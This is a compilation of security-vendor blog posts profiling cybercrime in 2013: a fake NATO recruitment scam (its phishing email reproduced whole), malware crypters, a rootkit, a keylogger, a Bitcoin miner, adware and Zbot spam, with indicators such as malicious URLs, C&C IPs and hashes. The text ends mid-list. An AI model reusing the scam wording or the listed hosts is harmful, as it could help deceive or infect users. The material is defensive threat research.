Project Manager (NATO NAVAL FORCES SITES OFFICE) Location: Brussels/Belgium/UK/USA STAFF VACANCY NO:A43(2912) Salary:$253 ,000.00 USD Grade: A5

Software Engineer Location: Brussels/Belgium/UK/USA Reference NO:A14(2013)(MON) Salary:$243 ,000.00 USD Grade: A2 Site Engineer Location: Brussels/Belgium/UK/USA Reference NO:A05(2013) Salary:$243 ,000.00 USD Grade: A2/A.3

Engineer (System) Location: Brussels/Belgium/UK/USA Reference NO:A21(2013)(MON) Salary:$243 ,000.00 USD Grade: A2

Analyst (Logistic Support) Location: Brussels/Belgium/UK/USA Reference NO:A17(2013)(MON) Salary:$243 ,000.00 USD Grade: A2

Junior Technician (Inventory)S-70 Location: Italy/Spain/Belgium/UK/USA Reference NO:04(2013)(MON) Salary:$243 ,000.00 USD Grade: B4

Programme Coordination Officer Location: Italy/Spain/Belgium/UK/USA Reference NO:A15(2013)(NAG) Salary:$243 ,000.00 USD Grade: A2-A3

Junior Translator (English-French) Location: Italy/Spain/Belgium/UK/USA Reference NO:L01(2013) Salary:$243 ,000.00 USD Grade: T2

Director Of Acquisition Location: Brussels/Belgium/UK/USA Reference NO:A19(2013)(BRX) Salary:$243 ,000.00 USD Grade: A6

Auditor, (International Board Of Auditors for NATO) Location: Brussels/Belgium/UK/USA Reference NO:A02(2013) Salary:$253 ,000.00 USD Grade: A4

Director Research Division Location: Brussels/Belgium/UK/USA Reference NO:DFC ARC 0150 Salary:$243 ,000.00 USD Grade: A5

IS Administrator Location: Brussels/Belgium/UK/USA Reference NO:B09(2013)(BYD) Salary:$243 ,000.00 USD Grade: A5

Assistant (Service Desk) Location: Brussels/Belgium/UK/USA Reference NO:B10(2013)(STA) Salary:$243 ,000.00 USD Grade: B4

Analyst-Programmer (System SW) Location: Brussels/Belgium/UK/USA Reference NO:SSC01-13 Salary:$243 ,000.00 USD Grade: A2

Traffic Officer Location: Brussels/Belgium/UK/USA Reference NO:A(01)2013 Salary:$143 ,000.00 USD Grade: A3

Staff Officer (CIS Capabilities) Location: Brussels/Belgium/UK/USA Reference NO:A24(2013)(MON) Salary:$143 ,000.00 USD Grade: A2

Administrative Officer Location: Brussels/Belgium/UK/USA Reference NO:LL-13 21/2013 Salary:$243 ,000.00 USD Grade: A2

Senior Technical Officer Location: Brussels/Belgium/UK/USA Reference NO:LG 81/2013 Salary:$243 ,000.00 USD Grade: A3

Accountant (ACO Accounting Management) Location: Brussels/Belgium/UK/USA Reference NO:A03/0213 Salary:$253 ,000.00 USD Grade: A2

Deputy Director Location: Brussels/Belgium/UK/USA Reference NO:A20(2013)(BRX) Salary:$243 ,000.00 USD Grade: A5

Assistant Secretary General (ASG), Executive Management (EM) Location: Brussels/Belgium/UK/USA Reference NO:U04(2013) Salary:$343 ,000.00 USD Grade: Uncl

Assistant Secretary General (ASG), Emerging Security Challenges Location: Brussels/Belgium/UK/USA Reference NO:U05(2013) Salary:$343 ,000.00 USD Grade: Uncl

Assistant Secretary General (ASG), Political Affairs and Security Policy (PASP) Location: Brussels/Belgium/UK/USA Reference

NO:U01(2013) Salary:$343 ,000.00 USD Grade: Uncl

Assistant Secretary General (ASG), Defence Investment Location: Brussels/Belgium/UK/USA Reference NO:U03(2013) Salary:$343 ,000.00 USD Grade: Uncl

GENERAL REQUIREMENTS/SELECTION Applicants are selected on the basis of academic credentials,experience and other relevant factors. Successful Applicants are invited to come for an interview/ Training Candidates are interviewed on their related knowledge, skills and abilities. Application is open to all interested applicants from any nationality. HOW TO APPLY

Send your resume/CV to: recruitment@nspa-nato.int.tf or Fax: +1 206-338-6389 North Atlantic Treaty Organization (NATO) Frank PEDERSEN NATO Chief, Human Resources Division Main address: U.S. Department of State 2201 C Street NW, Washington, DC 20520 Email: recruitment@nspa-nato.int.tf Fax: +1 206-338-6389

Naturally, we did apply for a random position and not surprisingly, we got accepted immediately to join NATO. So where's the catch? It's the amount and type of sensitive, as well as personally identifiable information that a potential applicant would need to submit to further escalate his or her application.

For instance, the Employment Application Form requires details on the Security Clearance, Level and Expiration Date of the prospective employee, as well as details on whether or not an application has any civilian or military relatives, currently working for NATO. Furthermore, potential applicants would also need to provide detailed information on their whereabouts abroad, such as country, reason for visiting and the exact dates. Needless to say that someone's looking for the very best in sensitive and personally identifiable information, from the socially engineered prospective employees.

Received Reply: *Welcome to the NATO, Download the attachment for NATO Employment Application Form and Interview Form Details, Complete and sign the NATO Employment Application Form and Interview Form After completion send a copy to the NATO Training Department via (training@nspa-nato.int.tf OR training@usnato-hr.org) or Fax: +1 206-338-6389.*

I am directed to inform you that your application for Administrative Officer with Reference NO:LL-13 21/2013 grade A2 has been successful. The offered position is full-time with a basic salary of $243, 000.00 per annum, and beginning immediately on your arrival. Other benefits include paid annual leave, home leave, and sick leave contributory government life and group health insurance coverage; Medical care and hospitalization overseas; Transportation to and from post; shipment of authorized weights of household goods, and, where permitted, shipment of a motor vehicle.

You will receive non-taxable government housing, as well as a non-taxable cost-of-living allowance where the cost of living is higher than in China. You may also receive a "school-away-from-post "allowance for the education of your dependent children. You are therefore to attend a NATO training program under our accredited Consulting and Training Institute.

Training are for the month of June/July 2013. However, you are at liberty to choose which of the months as stated above suites you best taking into consideration your current employment, but you must register now to qualify for any of the month you choose to commence your training. Training will be in China or Ghana for the duration of one month.

The training starts with a three-day indoctrination in which all in-processing formalities are dealt with. Orientation follows, in which the New Entrants are introduced to the NATO culture, organization and methods of doing business Training is designed to prepare the New Entrant for his/her new assignment. Welcome to European Committee for the NATO we are delighted to have you join the Agency and we look forward to working with you.

Please be advised that our notification to you that your application is Successful and invitation to training is a direct confirmation that you are now a new entrant into NATO as a staff. Please contact Director of training institute via email: (training@nspa-nato.int.tf OR training@usnato-hr.org) For Registration and Training details.

Best regards and Congratulations,

North Atlantic Treaty Organization (NATO) Frank PEDERSEN NATO Chief, Human Resources Division Main address: U.S.

Department of State 2201 C Street NW, Washington, DC 20520 Email: recruitment@nspa-nato.int.tf Fax: +1 206-338-6389

Frank Pedersen indeed exists, and indeed works for NATO, meaning that someone did their homework before launching the email campaign.

NATO impersonating domain name reconnaissance: nspa-nato.int.tf – 188.40.117.12; 188.40.70.27; 188.40.70.29
Name server: ns1.idnscan.net
Name server: ns2.idnscan.net

usnato-hr.org – 208.91.198.24
Name Server: DNS1.SPIRITDOMAINS.COM
Name Server: DNS2.SPIRITDOMAINS.COM

Responding to the same IPs are also the following domains of interest: *contact-staff-paypal.us.tf usa.fbi.us.tf singin-ebay.de.tf statcounter.org.uk.tc securewebsafe.org.uk.tc*

We know that on 2013-05-10 07:01:46 CET, responding to the same IP (**188.40.117.12**) was also the following **Black Hole Exploit Kit** redirecting URLs:
hxxp://24gw.de.be/main.php?page=cc7c454ef32ec256

We're also aware that, on 2011-09-30, statcounter.org.uk.tc was also serving client-side exploits, and was back then responding to **91.228.133.56** . Sample URLs:
hxxp://statcounter.org.uk.tc/dng290911/762c3f9c24e72f7c2211725c1e4b0c91/lpdf.php
hxxp://statcounter.org.uk.tc/dng290911/762c3f9c24e72f7c2211725c1e4b0c91/j.jar
hxxp://statcounter.org.uk.tc/dng290911/762c3f9c24e72f7c2211725c1e4b0c91/d11.php?e=5

Always watch where you apply and be aware of offers which sound too good to be true.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

DIY malware cryptor as a Web service spotted in the wild - part two - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

With more **Web-based DIY malware crypters** continuing to pop up online, both novice and experienced cybercriminals can easily obfuscate any malicious sample into an undetected — through signatures based scanning not behavioral detection — piece of malware, successfully bypassing perimeter based defenses currently in place.

In this post I'll profile a recently launched service, empowering virtually everyone using it, with the capability to generate undetected malware. I'll emphasize on its key differentiation factors and provide sample MD5s known to have been crypted using the service.

More details:

Sample screenshot of the DIY Web-based malware crypting service:

Second screenshot of the DIY Web-based malware crypting service:

Among the key features of this Web-based malware crypting service are the auto scanning of crypted files to showcase to the customer that the file is indeed not detected by the majority of antivirus solutions, support for x32 and x64 files as well as DLL's, support for all versions of Windows from XP to Windows 8, and the ubiquitous support for anti VMware/anti debugging.

The price? $20, with the service vendor claiming that the file will remain undetected for more than 7 days. Now, how is he able to calculate that remains unclear, as once his customers start spreading the undetected samples, they'll eventually end up hitting a security vendor's sensor network, so it's all up to the customer's sensor evasion tactics, and not necessarily a service feature.

It’s also worth emphasizing on the fact that in its current form, the service doesn’t have the potential to disrupt the cybercrime ecosystem in an “innovative” way, largely thanks to the lack of **API (Application programming interface)** support, something we’ve seen implemented on competing services.

We’re currently aware of the following MD5s crypted using the service: MD5: 8b9dbeb474375f703cb394c4b661122f
MD5: 7251862e224474899a2e60737cc745ef
MD5: de9ebb0bb5ee713e4815c35c64b14691
MD5: adf4df9e1383a99fe647eaa4b81ded13
MD5: 647627f810630ccdc7f30ddeca688d19
MD5: f1caa0212f85e8850b3a11234a2af1be
MD5: 5a2d1771acf1332c2b9ff93312ccd8b9
MD5: 2893f78fdf8245628473517317448acc
MD5: 4eb21fda1f060d228d54a7ef847db7c2
MD5: 625a17feba65dd924366a4b287551df1
MD5: f8470bb0d38a42e1311d7695bd5c6fb9
MD5: 9e0096694f0f5952ed0d2030dab23fbb
MD5: 8cd35dd0dc28d4832c9bdf84c6082acf

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Newly launched 'Magic Malware' spam campaign relies on bogus 'New MMS' messages - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

The gang of cybercriminals behind the '**Magic Malware** ' has launched yet another malicious spam campaign, attempting to trick U.K users into thinking they've received a notification for a "New MMS" message. In reality, once users execute the malicious attachment, it will download and drop additional malware on the affected hosts, giving the cybercriminals behind the campaign complete access to the affected host.

More details:

Detection rate for the spamvertised archive: **MD5: d55f732cc41eaadca1c58b4c3d07e431** – detected by 8 out of 46 antivirus scanners as UDS:DangerousObject.Multi.Generic.

Once executed it phones back to: *hxxp://asdacbxn34.us/area/la.php* – (**178.208.91.5**) – Email: iavorscaia@gmail.com
hxxp://178.208.82.164/_load.exe

We are aware of two more registered malicious domains using the same email (iavorscaia@gmail.com), dating back to 2010: secretshoper.info/ujd/upit.php – back then used to respond to 91.206.201.222
vertelitt.com/faw/pit.php – back then used to respond to 91.206.201.200

Responding to the same IP (**178.208.91.5**) is also the following domain **ttnetbilglendirme.info.**

Detection rate for the dropped **_load.exe** – **MD5: bcadffb2117751fb89a4bb8768681030** – detected by 10 out of 46 antivirus scanners as Trojan.Win32.Generic!BT. It's interesting to point out that the malware’s PE signature block refers to our colleagues at Mandiant.

Once executed the dropped sample phones back to the following C&C servers: *94.23.234.36 94.23.203.74 94.23.219.182:10080*

Another MD5 is known to have phoned back to the same IP (**94.23.234.36**) **MD5: 80b3735863cc59d3edc6e7331a231c88** **.**

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Commercial 'form grabbing' rootkit spotted in the wild - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Trust is vital. It's also the cornerstone for the growth of E-commerce in general, largely thanks to **the mass acceptable of a trusted model** for processing financial data and personally identifiable information. For years, the acceptance and mass implementation of PKI (Public Key Infrastructure) has been a driving force that resulted in a pseudo-secure B2C, B2B, and B2G electronic marketplace, connecting the world's economies in a 24/7/365 operating global ecosystem.

The bad news? Once the integrity of a host or a mobile device has been compromised, **SSL** , next to virtually every **two-factor authentication mechanism gets bypassed by** the cybercriminals that compromised the host/device, leading to a situation where users are left with a '**false feeling of security** '.

In this post, I'll profile a recently advertised commercial 'form grabbing' rootkit, that's capable of '"grabbing" virtually any form of communication transmitted over SSL

More details:

Sample screenshots of the DIY form grabbing rootkit in action:

Coded in C++ according to its author, it has **Ring 3 rootkit** functionality, and currently supports Windows XP/Vista/7/8. The price? $75. Potential customers also don't get a DIY builder, but a bin file that's individually crypted per customer. Surprisingly, customers will get the updates over email. Next to the built-in rootkit functionality, the 'form grabbing' rootkit also takes advantage of 'Smart API hooking", and only hooks the functions responsible of transmitting form related data, making it extremely fast and efficient, according to its author.

Customers would have to use Liberty Reserve, Western Union, Money Gram or PayPal in order to purchase it.

We'll be definitely keeping an eye on the future development of this commercial rootkit.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

New versatile and remote-controlled "Android.MouaBot" malware found in the wild - Webroot Blog

facebook linkedin twitter

By Cameron Palan and Nathan Collier

Recently, we discovered a new malicious Android application called Android.MouaBot. This malicious software is a bot contained within another basic app; in this case, a Chinese calculator application. Behind the scenes, it automatically sends an SMS message to an auto-reply number which replies back to the phone with a set of commands/keywords. This message is then parsed and the various plugins within the malicious packages are run or enabled.

To find out how to contact the auto-reply numbers, there are two files within the app listing a few URLs which, when visited, display a single line referring the app to another IP address. These IPs are then used to send configuration information down to the app.

Once the app has the information it needs, it will text an auto-reply SMS number to receive commands on how or what to execute. When it receives a text, it will first check to see if it is from the auto-reply number, and then check the message for keywords. Regardless of the message's origin, it will be logged as well.

As this is all occurring, the application suppresses the automatic SMS messages so the user does not see them. The bot's behavior when receiving SMS can actually be seen in the logs as well:

The various plugins or functions of the bot appear to range from changing APN settings to preventing the phone from being locked. It's possible other functionality could be added or downloaded by the bot in addition to the main functionality.

Malware like this is just another reason why you should have Webroot SecureAnywhere installed on your mobile device.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Fake 'Free Media Player' distributed via rogue 'Adobe Flash Player HD' advertisement - Webroot Blog

facebook linkedin twitter

Our sensors just picked up a rogue advertisement served through the Yieldmanager ad network, which exposes users to fake Adobe Flash Player HD ads, ultimately dropping a copy of the potentially unwanted application (PUA)/adware, known as Somoto Better Installer.

More details:

Sample screenshot of the actual advertisement:

Surprisingly, once users click, they're presented with a rogue Free Media Player page, instead of of a Adobe Flash Player HD themed page. Users who fall victim to the social engineering scam will end up installing multiple potentially unwanted applications.

Yieldmanager ad URL: *hxxp://ad.yieldmanager.com/clk?3,eJyljd1ugkAQhZ.GO0qWv7Bk04tBpEpZBbOVyN2yQkWxEt10I0.fJbS-QE8mZ07mJ5.lENygA8duhZE4uNwVxHLqwKu9qmkqAxFCHOT7VuBbXmAsH4mEZLt4z-d1MogQRqX9huUw6XO01ZQzPHoI9-Ir-92fXiib0ry33yj8Q7dd-AfVPKXREYbMN7uOueHzKhIPGoFaX1Z2WiTHDVtIyuKOtsgri48hZfFpP8TnkgFaR9u2zJ-fr4ZxlLKfOTCzY11KKZPfJe.4d6ubKa4XPf0Bx21b5Q==,*

Landing domain: *hxxp://www.softigloo.com* – 78.138.105.151. Responding to the same IP is also the following typosquatted domain – *hxxp://down1oads.com*

Detection rate for the sampled malware: MD5: 3ee49800cc3c2ce74fa63e6174c81dff – detected by 8 out of 46 antivirus scanners as Somoto BetterInstaller; Adware.Somoto
MD5: b57cc4b5aecd69eb57063f4de914d4dd – detected by 8 out

of 46 antivirus scanners as 8 out of 46 antivirus scanners as Somoto BetterInstaller; TROJ_GEN.F47V0429

Once executed, MD5: b57cc4b5aecd69eb57063f4de914d4dd creates the following files on the affected hosts: *C:DOCUME~1<USER>~1LOCALS~1Tempnsh2.tmp*
C:DOCUME~1<USER>~1LOCALS~1Tempbiclient.exe
C:DOCUME~1<USER>~1LOCALS~1Tempconfig.ini
C:DOCUME~1<USER>~1LOCALS~1Tempbundlesweetimsetup.exe.0
C:DOCUME~1<USER>~1LOCALS~1Tempbundlesweetimsetup.exe.2
C:DOCUME~1<USER>~1LOCALS~1Tempbundlesweetimsetup.exe.5
C:DOCUME~1<USER>~1LOCALS~1Tempbundlesweetimsetup.exe.4
C:DOCUME~1<USER>~1LOCALS~1Tempbundlesweetimsetup.exe.3
C:DOCUME~1<USER>~1LOCALS~1Tempbundlesweetimsetup.exe.6
C:DOCUME~1<USER>~1LOCALS~1Tempbundlesweetimsetup.exe.7
C:DOCUME~1<USER>~1LOCALS~1Tempbundlesweetimsetup.exe.1
C:DOCUME~1<USER>~1LOCALS~1Tempbundlesweetimsetup.exe
C:DOCUME~1<USER>~1LOCALS~1TempDeltaTB.exe.0
C:DOCUME~1<USER>~1LOCALS~1TempDeltaTB.exe.1
C:DOCUME~1<USER>~1LOCALS~1TempDeltaTB.exe.2
C:DOCUME~1<USER>~1LOCALS~1TempDeltaTB.exe.3
C:DOCUME~1<USER>~1LOCALS~1TempDeltaTB.exe.4
C:DOCUME~1<USER>~1LOCALS~1TempDeltaTB.exe.5
C:DOCUME~1<USER>~1LOCALS~1TempDeltaTB.exe.6
C:DOCUME~1<USER>~1LOCALS~1TempDeltaTB.exe.7
C:DOCUME~1<USER>~1LOCALS~1TempDeltaTB.exe
C:DOCUME~1<USER>~1LOCALS~1TempLollipopInstaller_somoto_14693.exe.0
C:DOCUME~1<USER>~1LOCALS~1TempLollipopInstaller_somoto_14693.exe.2

C:DOCUME~1<USER>~1LOCALS~1TempLollipopInstaller_somoto_14693.exe.1 C:DOCUME~1<USER>~1LOCALS~1TempLollipopInstaller_somoto_14693.exe.3 C:DOCUME~1<USER>~1LOCALS~1TempLollipopInstaller_somoto_14693.exe.4 C:DOCUME~1<USER>~1LOCALS~1TempLollipopInstaller_somoto_14693.exe.5 C:DOCUME~1<USER>~1LOCALS~1TempLollipopInstaller_somoto_14693.exe.6 C:DOCUME~1<USER>~1LOCALS~1TempLollipopInstaller_somoto_14693.exe.7 C:DOCUME~1<USER>~1LOCALS~1TempLollipopInstaller_somoto_14693.exe C:DOCUME~1<USER>~1LOCALS~1TempLyricsPal.exe.2 C:DOCUME~1<USER>~1LOCALS~1TempLyricsPal.exe.3 C:DOCUME~1<USER>~1LOCALS~1TempLyricsPal.exe.4 C:DOCUME~1<USER>~1LOCALS~1TempLyricsPal.exe.5 C:DOCUME~1<USER>~1LOCALS~1TempLyricsPal.exe.0 C:DOCUME~1<USER>~1LOCALS~1TempLyricsPal.exe.1 C:DOCUME~1<USER>~1LOCALS~1TempLyricsPal.exe.6 C:DOCUME~1<USER>~1LOCALS~1TempLyricsPal.exe.7 C:DOCUME~1<USER>~1LOCALS~1TempLyricsPal.exe C:DOCUME~1<USER>~1LOCALS~1Temp7z920.exe.0 C:DOCUME~1<USER>~1LOCALS~1Temp7z920.exe.1 C:DOCUME~1<USER>~1LOCALS~1Temp7z920.exe.2 C:DOCUME~1<USER>~1LOCALS~1Temp7z920.exe.3 C:DOCUME~1<USER>~1LOCALS~1Temp7z920.exe.4 C:DOCUME~1<USER>~1LOCALS~1Temp7z920.exe.7 C:DOCUME~1<USER>~1LOCALS~1Temp7z920.exe.5 C:DOCUME~1<USER>~1LOCALS~1Temp7z920.exe.6 C:DOCUME~1<USER>~1LOCALS~1Temp7z920.exe

Creates the following Mutexes: *CTF.LBES.MutexDefaultS-1-5-21-1275210071-920026266-1060284298-1003 CTF.Compart.MutexDefaultS-1-5-21-1275210071-920026266-1060284298-1003 CTF.Asm.MutexDefaultS-1-5-21-1275210071-920026266-1060284298-1003 CTF.Layouts.MutexDefaultS-1-5-21-*

1275210071-920026266-1060284298-1003 CTF.TMD.MutexDefaultS-1-5-21-1275210071-920026266-1060284298-1003

Makes the following DNS requests: *bi.bisrv.com (78.138.97.8) installercdn.filebulldog.com (54.239.158.183) static.bisrv.com (78.138.97.8) cdn.bisrv.com (54.239.158.151) cdn.bispd.com (78.138.127.129) installercdn.betterinstaller.com (54.239.158.63) installer.betterinstaller.com (78.138.97.8) download.filesfrog.com (78.138.127.7)*

And initiates the following TCP connections: *78.138.97.8:80 54.239.158.55:80 78.138.127.129:80 54.239.158.183:80 54.239.158.247:80 78.138.127.7:80*

The affiliate network participant that's abusing the Yieldmanager ad network is currently earning revenue through the Somoto's BetterInstaller PPI (Pay-Per-Install) revenue sharing network:

We'll be definitely keeping an eye on this PPI revenue-sharing network, especially on the deceptive advertising done on behalf of its participants.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

New subscription-based 'stealth Bitcoin miner' spotted in the wild - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Bitcoin, the digital peer-to-peer based currency , is an attractive target for cybercriminals, who persistently look for new monetization tactics to apply to their massive, but easily generated botnets. Not surprisingly, thanks to the buzz surrounding it, fraudulent Internet actors have begun to look for efficient ways to take advantage of the momentum. A logical question emerges – how are market oriented cybercriminals capitalizing on the digital currency?

Instead of having to personally infect tens of thousands of hosts, some take advantage of basic pricing schemes such subscription-based pricing, and have others do all the infecting, with them securing a decent revenue stream based on a monthly subscription model.

Let's profile the international underground market proposition, detailing the commercial availability of a stealth **Bitcoin miner** , feature screenshots of the actual DIY miner generating tool, screenshots provided by happy customers, and perhaps most importantly, MD5s of known miner modifications 'pushed' since its first commercial release.

More details:

Sample screenshot of the actual advertisement for the stealth Bitcoin miner:

Sample screenshots of the stealth Bitcoin mining generator:

Sample screenshots courtesy of happy customers demonstrating that the service works:

The price is $10 USD per month through PayPal, which includes automatic updates to the miner executable. The EULA also reserves the right not to be held responsible for any unauthorized use of the stealth Bitcoin miner. Now, why would someone want to hide something from himself remains a mystery, similar to the commercial availability or Remote Access Trojans pitched as Remote Access Tools, given the fact that they come with built-in rootkit/evasive features.

Although at the initial commercial release of the miner, the author was manually updating the executable on a periodic basis, as of April, 2013, the updates are delivered automatically. Here are some MD5s of known variants that we’re currently aware of:

MD5: 226640cad180b11add53aeca10fd41cb MD5: 7222fbe30d2016e23006c86f97c4a16d MD5: e6a7d8c0191717b4c42ebeaca19fa2cf MD5: b57d24469184d1f920a160bcd94f73fc MD5: 58a37543d436574b7d560a8b3106b2b5 MD5: ff36078529de25cce4c488c18fe9fd9a MD5: de8004da46658cb916ba6b549b980b05 MD5: cc3312a2f6c307ac06f146be20854061 MD5: fada1f789bd7b174fa6a52a23076f015 MD5: 850c56dd94e4e108af8c68f9dda06334 MD5: 4d6107c1872bbb06eb9cfa0f5f9df252 MD5: fada1f789bd7b174fa6a52a23076f015 MD5: 373b88dc8641e05126a1e89160ecfc38 MD5: 1b3475f885d86ac60f3c26bc672fe7b9 MD5: 738a06ed975041e18f062963188a53a0 MD5: 4eb05249c9aad2b465dd59ae7bdf92cf MD5: 738a06ed975041e18f062963188a53a0 MD5: 430cdcfaf90a3fc4441b1ab88aa77c08 MD5: a8b407f9bd937f0b508519d21a4c4087 MD5: b9ade02f38ccbd77136ab54043b08c69 MD5: 81f43255d4c3c1212744d6d96109e4f2 MD5: a5c280ead0a5c9b9a40f21419d10a9aa MD5: a9332ec09d35ac0b5550ffd52953a1e6

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Newly launched E-shop for hacked PCs charges based on malware 'executions' - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

On the majority of occasions, Cybercrime-as-a-Service vendors will sell access to malware-infected hosts to virtually anyone who pays for them, without bothering to know what happens once the transaction takes place.

A newly launched E-shop for malware-infected hosts, however, has introduced a novel approach for calculating the going rate for the hacked PCs. Basically, they’re selling actual malicious binary “executions” on the hosts that the vendor is managing, instead of just selling access to them.

A diversified international underground market proposition? Check. A novel approach to monetize malware-infected hosts? Not at all. Let’s profile the actual market proposition, and discuss in-depth why its model is flawed by design.

More details:

Sample advertisement of the E-shop offering access to malware-infected hosts:

Taking advantage of a Web malware exploitation kit, the proposition’s author has featured a sample screenshot showing what we believe is just a sampled snapshot of the malicious activity that he’s responsible for. The TOS (Terms of Service) also explicitly forbids the potential monetization of the hosts through ransomware, as well as the removal of competing malware on the affected hosts. It’s worth emphasizing on the fact that the E-shop owner seems to be undermining his own efficiency model, as in order for him to enforce the TOS, he’d have to ‘verify” each and every malware sample supplied to him for ‘execution’.

Moreover, by forbidding the use of competing bot 'killers', he reserves his right to continue controlling the malware-infected host, either 'milking' it as a cash cow, or using it as a tool for occupying a related market segment within the cybercrime ecosystem, largely thanks to the fact that he has full control over the user's PC. This (isolated) practice can be best described by an article published in 1968 on the **Tragedy of the Commons** , in this particular case, a situation where two cybercriminals will have access to a predefined pool of money to steal from — the second having actually paid for his access in this case — resulting in un-materialized revenue streams that could be directed in just one direction.

Furthermore, a potential cybercriminal and a customer of the service, would never pay for, let's say, three executions of three separate binaries on the same host. He'll basically purchase one execution, and take advantage of the **matryoshka malware concept** , ultimately delivering his payload in a cost-effective way, while using this particular service. Now that's of course unless the vendor stars verifying that as well, for a second time undermining the logic behind the proposition and the TOS.

We'll continue monitoring the development of this service, and post updates as soon as new pricing schemes get introduced.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals offer HTTP-based keylogger for sale, accept Bitcoin - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

In 2013, **Liberty Reserve** and **Web Money** remain the payment method of choice for the majority of Russian/Eastern European cybercriminals. Cybercrime-as-a-Service underground market propositions, malware crypters, R.A.Ts (Remote Access Trojans), brute-forcing tools etc. virtually every underground market product/service is available for purchase through the use of these ubiquitous virtual currencies.

What's the situation on the international underground market? Next to accepting PayPal and consequently all major credit cards, we've been observing an increase in market propositions starting to accept **Bitcoins** . Is this a trend or a fad, and does the currency's P2P model about to be embraced ecosystem-wide due to its (current) **pseudo-anonymous model** ?

Let's find out.

More details:

Sample advertisement for the HTTP-based keylogger:

Sample screenshot of the administration panel:

The keylogger is currently available for $35. The author is also (manually) ensuring that it remains undetected by all major antivirus vendors on a systematic basis, and is currently accepting PayPal, Liberty Reserve, Moneypak, and as of recently, Bitcoin. Considering the fact its author is OPSEC-unaware compared to his Russian/Eastern European "colleagues", the use of Bitcoin in this particular case appears to be more of a way to for him to diversify the ways through which he's accepting payments, rather than a practice aimed at improving his **OPSEC (Operational Security)** or anonymity.

Despite the numerous international underground market propositions accepting Bitcoin that we're currently aware of, we expect that the buzz surrounding the virtual currency will only affect the international marketplace, with limited impact for the majority of Russian/Eastern European cybercriminals, which we think will continue relying on Liberty Reserve and Web Money as their primary way of accepting and sending payments – a process which they've practiced to perfection over the years, largely thanks to easily obtainable **fake IDs/passports** , the **overall availability of money mules** participating in the cybercrime ecosystem, and cybercrime-friendly virtual currency processing providers.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals impersonate New York State's Department of Motor Vehicles (DMV), serve malware - Webroot Blog

facebook linkedin twitter

By Dancho Danchev

Cybercriminals are currently spamvertising tens of thousands of bogus emails impersonating **New York State's Department of Motor Vehicles (DMV)** in an attempt to trick users into thinking they've received an **uniform traffic ticket** , that they should open, print and send to their town's court.

In reality, once users open and execute the malicious attachment, their PCs will automatically join the botnet operated by the cybercriminal/cybercriminals behind the campaign.

More details:

Sample screenshot of the spamvertised email:

Detection rate for the malicious executable: **MD5: 247c67cb99922fd4d0e2ca5d6976fc29** – detected by 23 out of 46 antivirus scanners as Trojan-Spy.Win32.Zbot.lhim.

Once executed, the sample creates the following files on the affected hosts: *%AppData%Xayfyksyi.exe – MD5: 3173A9539F42364205093BB5112F0350 %AppData%oqucxa.awe – MD5: B7C26E50553C33AA87C8A4215A7FCC72 %Temp%tmp3bf1628f.bat – MD5: 639D147E3E1DD618D1E773BB7CFC98F2*

The following Registry Keys: *HKEY_CURRENT_USERSoftwareMicrosoftBiqol*

As well as the following Registry Values: *[HKEY_CURRENT_USERIdentities] -> Identity Login = 0x00098053 [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion Run] -> {3DFA1AE4-115C-AD7B-A6BA-A75086AF8442} = ""%AppData%Xayfyksyi.exe""*

[HKEY_CURRENT_USERSoftwareMicrosoftBiqol] -> eigbe47 = “BGr6IhOgjQY=”; b1ee1d5 = 18 6A 9B 22; 218d92bh = E6 29 9B 22 06 CA BA 06 39 CE D7 3B

